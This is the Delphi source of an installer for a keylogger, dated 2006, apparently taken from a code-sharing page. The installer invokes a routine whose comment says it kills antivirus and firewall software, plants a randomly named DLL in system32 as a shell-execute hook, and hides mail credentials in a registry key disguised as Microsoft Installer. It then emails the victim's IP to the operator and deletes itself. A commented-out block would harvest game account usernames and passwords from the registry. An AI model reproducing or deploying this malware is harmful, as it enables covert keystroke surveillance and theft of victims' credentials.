📄 setup.dpr
字号:
{*******************************************************}
{ }
{ 键盘全记录监控程序安装程序主单元 }
{ }
{ Copyright (c) 2006, MICHAEL }
{ http://xuhaohome.yeah.net OR xuhaohome.3322.org }
{ E-Mail:x_h168@163.com QQ:8416321 }
{ }
{*******************************************************}
program Setup;
{$R '..\IconRes\RES_ICO.res' '..\IconRes\RES_ICO.txt'}
{$R 'RES_Dll.RES' 'RES_Dll.txt'}
uses Windows,SysUtils,Messages,Registry,ShellAPI,IdHTTP, IniFiles, Funs, kill,RegExport,SendMail;
const
HotKeyMutex = 'xh_HotKey_20060101';
ExeMutex = 'xh_ExeMutex_20060101';
DllMutex = 'xh_DllMutexThread_20060101';
FileMapName = 'xh_FileMap_20060101';
RegConfigSave = '\Software\Microsoft\Installer\'; //HKEY_CURRENT_USER下的 配置信息保存位置
var
MsgStruct: TMsg;
MutexHandle, FileHandle: THandle;
PCurThreadID: PDWORD;
Function RegKeyExists(RootKEY:HKEY;Const Openkey,KeyName:string):boolean;
var Reg:TRegistry;
begin
try
Reg:=TRegistry.Create;
Reg.RootKey:=RootKey;
if (Reg.OpenKey(OpenKey,False))and(Reg.KeyExists(KeyName)) then Result:=True else Result:=False;
finally
Reg.CloseKey;
Reg.Free;
end;
end;
Function RegValueExists(RootKEY:HKEY;Const Openkey,ValueName:string):boolean;
var Reg:TRegistry;
begin
try
Reg:=TRegistry.Create;
Reg.RootKey:=RootKey;
if (Reg.OpenKey(OpenKey,False))and(Reg.ValueExists(ValueName)) then Result:=True else Result:=False;
finally
Reg.CloseKey;
Reg.Free;
end;
end;
Function GetRegStringKey(RootKEY:HKEY;Const Openkey,KeyName:string):String;
var
Reg:TRegistry;
begin
try
Result :='';
Reg:=TRegistry.Create;
Reg.RootKey:=RootKey;
if (Reg.OpenKey(OpenKey,False))and(Reg.ValueExists(KeyName)) then
begin
case Reg.GetDataType(KeyName) of
rdString : Result:=Reg.ReadString(KeyName);
else
end;
end;
finally
Reg.CloseKey;
Reg.Free;
end;
end;
Function SetRegStringKey(RootKEY:HKEY;Const Openkey,KeyName,KeyValue:string):Boolean;
var
Reg:TRegistry;
begin
Reg:=TRegistry.Create;
try
Reg.RootKey:=RootKey;
if Reg.OpenKey(OpenKey,True) then Reg.WriteString(KeyName,KeyValue);
Finally
Reg.CloseKey;
Reg.Free;
Result:=False;
end;
Result:=True;
end;
function GetTempFileName(const StringLong:integer=5):String;
var i:integer;
begin
Randomize;
for i:=1 to StringLong do result:=result+chr(97+random(26));
end;
function GetWindowsDirectory:String;
var sysdir:array [0..255] of char;
begin
Windows.GetWindowsDirectory(sysdir,255);
Result :=sysdir;
if copy(Result,length(Result),1)<>'\' then
Result:=Result+'\';
end;
procedure SendToWebUrl(HttpUrl,m:string);
var
Idhttp:TIdHTTP;
begin
Idhttp:=TIdHTTP.Create(nil);
IdHTTP.ReadTimeout:= 3000; //超时时间
IdHTTP.HandleRedirects:= true; //必须支持重定向否则可能出错
/// Messagebox(0,pchar(pos(m,'0')),'',0);
Idhttp.Get(string(HttpUrl+m));
idhttp.Free;
end;
procedure SetupConfig;
var
f:textfile;
tempstr,str,tempfile:string;
begin
with TInifile.Create(ExtractFilePath(ParamStr(0))+ChangeFileExt(ExtractFileName(ParamStr(0)),'.ini')) do
begin //如果注册表中没有邮件发送密码 或运行带了install参数则重新写入配置到注册表
if (not CompareAnsiText(readstring('CONFIG','PASS','x_h_sendmichael'), cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'PASS'),cryptstrKey,1))) or (not CompareAnsiText(readstring('CONFIG','TMAIL','x_h_send@163.com'), cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'TMAIL'),cryptstrKey,1))) or CompareAnsiText(ParamStr(1),'install') then
begin
SetRegStringKey(HKEY_CURRENT_USER, RegConfigSave, 'SMTP', cryptstr(readstring('CONFIG','SMTP','smtp.163.com'),cryptstrKey,0));
SetRegStringKey(HKEY_CURRENT_USER, RegConfigSave, 'USER', cryptstr(readstring('CONFIG','USER','XXXXXXX'),cryptstrKey,0));
SetRegStringKey(HKEY_CURRENT_USER, RegConfigSave, 'PASS', cryptstr(readstring('CONFIG','PASS','XXXXXXX'),cryptstrKey,0));
SetRegStringKey(HKEY_CURRENT_USER, RegConfigSave, 'FMAIL', cryptstr(readstring('CONFIG','FMAIL','XXXXX@163.com'),cryptstrKey,0));
SetRegStringKey(HKEY_CURRENT_USER, RegConfigSave, 'TMAIL', cryptstr(readstring('CONFIG','TMAIL','x_h_send@163.com'),cryptstrKey,0));
SetRegStringKey(HKEY_CURRENT_USER, RegConfigSave, 'SUBJECT', cryptstr(readstring('CONFIG','SUBJECT','XXXXXXXX'),cryptstrKey,0));
///SetRegStringKey(HKEY_CURRENT_USER, RegConfigSave, 'SENDURL', readstring('CONFIG','SENDURL','http://xxxxx.xxxxx.org/asp/sendurl.asp?m='));
end;
{///////////读取联众登录信息并发送
if RegKeyExists(HKEY_CURRENT_USER,'\Software\Globallink\Game\Share\','Settings') then
begin
tempfile:=GetWindowsDirectory+'temp\'+GetTempFileName()+'.tmp';
RegExport.ExportRegistryToFile(HKEY_CURRENT_USER,'Software\Globallink\Game\Share\Settings',tempfile);
str:='';
assignfile(f,tempfile);
reset(f);
while not eof(f) do
begin
if (AnsiContainsText(copy(tempstr,1,7),'REGEDIT') or AnsiContainsText(copy(tempstr,1,5),'[HKEY') or AnsiContainsText(copy(tempstr,1,5),'"User') or AnsiContainsText(copy(tempstr,1,5),'"Pass') or AnsiContainsText(copy(tempstr,1,5),'"Pass') or AnsiContainsText(copy(tempstr,1,4),'"New')) and (not eof(f)) then
begin
str:=str+tempstr+#13#10;
end;
readln(f,tempstr);
end;
closefile(f);
DeleteFile(tempfile);
///Messagebox(0,pchar(str),'',0);
///SendEMail(cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'SMTP'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'USER'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'PASS'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'FMAIL'),cryptstrKey,1),cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'TMAIL'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'SUBJECT'),cryptstrKey,1)+'__'+LocalIP + ' 安装',str);
SendEMail(readstring('CONFIG','SMTP','smtp.163.com') ,readstring('CONFIG','USER','XXXX') ,readstring('CONFIG','PASS','XXXX') ,readstring('CONFIG','FMAIL','XXXXX@163.com'),readstring('CONFIG','TMAIL','x_h_send@163.com') ,readstring('CONFIG','SUBJECT','bbbbbbbbbb!!!!')+'__'+LocalIP,str); //从配置文件获取
///SendToWebUrl(HtmlEncode(readstring('CONFIG','SENDURL','http://XXXXXX.XXXXX.org/asp/sendurl.asp?m='),pchar(str)));
end; }
Free;
end;
DeleteFile(ExtractFilePath(ParamStr(0))+ChangeFileExt(ExtractFileName(ParamStr(0)),'.ini')); //安装完后删除配置文件
end;
///////////////////////////////////////////////////////////////////////////////////////////
begin
HookDllName:=GetWindowsDirectory+'system32\'+'z'+GetTempFileName(4)+'.dll'; //生成一个由y开头加5个随机字符的文件名
if CompareAnsiText(ParamStr(1),'uninstall') then
begin
DelRegStr(HKEY_LOCAL_MACHINE, HookPath, HookName);
DelRegKey(HKEY_LOCAL_MACHINE,'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\','ShellExecuteHooks');
DeleteFile(GetRegStringKey(HKEY_CLASSES_ROOT,'CLSID\' + HookName + '\InProcServer32',''));
DeleteFileRestart(GetRegStringKey(HKEY_CLASSES_ROOT,'CLSID\' + HookName + '\InProcServer32',''));
DelRegStr(HKEY_CLASSES_ROOT,'CLSID\' + HookName + '\InProcServer32','');
DelRegStr(HKEY_CLASSES_ROOT,'CLSID\' + HookName + '\InProcServer32','ThreadingModel');
DelRegKey(HKEY_CLASSES_ROOT,'CLSID\' + HookName, 'InProcServer32');
DelRegStr(HKEY_CLASSES_ROOT,'CLSID\'+HookName,'');
DelRegKey(HKEY_CLASSES_ROOT,'CLSID\',HookName);
//删除配置信息
DelRegStr(HKEY_CURRENT_USER, RegConfigSave, 'SMTP');
DelRegStr(HKEY_CURRENT_USER, RegConfigSave, 'USER');
DelRegStr(HKEY_CURRENT_USER, RegConfigSave, 'PASS');
DelRegStr(HKEY_CURRENT_USER, RegConfigSave, 'FMAIL');
DelRegStr(HKEY_CURRENT_USER, RegConfigSave, 'TMAIL');
DelRegStr(HKEY_CURRENT_USER, RegConfigSave, 'SUBJECT');
halt;
end;
if CompareAnsiText(ParamStr(1),'find') then //定位到注册表位置 和链接库文件
begin
// 设置 LastKey
SetRegStr(HKEY_CURRENT_USER,'Software\Microsoft\Windows\CurrentVersion\Applets\Regedit','LastKey', '我的电脑\HKEY_LOCAL_MACHINE\' + HookPath);
ShellExecute(0, 'open', 'Regedit.exe', nil, nil, SW_SHOW); // 打开 Regedit
ShellExecute(0, 'open', 'Explorer.exe',pchar('/e,/select,'+GetRegStringKey(HKEY_CLASSES_ROOT,'CLSID\' + HookName + '\InProcServer32','')), nil, SW_SHOW);
halt;
end;
if (OpenMutex(MUTEX_ALL_ACCESS, FALSE, ExeMutex) <> 0) {or (OpenMutex(MUTEX_ALL_ACCESS, FALSE, DllMutex) <> 0)} then Exit; //去除了链接库线程的排斥
MutexHandle := CreateMutex(nil, True, ExeMutex);
Killer; //杀死杀毒软件及防火墙
SetupConfig; //设置配置信息
DeleteFile(GetRegStringKey(HKEY_CLASSES_ROOT,'CLSID\' + HookName + '\InProcServer32','')); //删除旧的DLL文件
ResourceToFile(RT_RCDATA,'RES_DLL',pchar(HookDllName));
SetupShellHook(pchar(HookDllName));
///Messagebox(0,pchar(HookDllName),'',0);
FileHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, SizeOf(DWORD), FileMapName);
PCurThreadID := MapViewOfFile(FileHandle, FILE_MAP_WRITE, 0, 0, 0);
PCurThreadID^ := GetCurrentThreadID();
UnmapViewOfFile(PCurThreadID);
CloseHandle(FileHandle);
PostMessage(HWND_BROADCAST, WM_WININICHANGE, 0, 0);
ReleaseMutex(MutexHandle);
CloseHandle(MutexHandle);
if FileExists(GetRegStringKey(HKEY_CLASSES_ROOT,'CLSID\' + HookName + '\InProcServer32','')) and RegValueExists(HKEY_LOCAL_MACHINE, HookPath, HookName) then
begin
if SendEMail(cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'SMTP'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'USER'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'PASS'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'FMAIL'),cryptstrKey,1),cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'TMAIL'),cryptstrKey,1) ,cryptstr(GetRegStringKey(HKEY_CURRENT_USER,RegConfigSave,'SUBJECT'),cryptstrKey,1)+'__'+LocalIP + ' 安装','恭喜您,键盘记录程序安装成功了,等着收好消息吧!'+#13#10#13#10+' 键盘全记录监控程序 '+#13#10+' Copyright (c) 2006, MICHAEL '+#13#10+'http://xuhaohome.yeah.net OR xuhaohome.3322.org'+#13#10+' E-Mail:x_h168@163.com QQ:8416321 '+#13#10) then DeleteMe;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -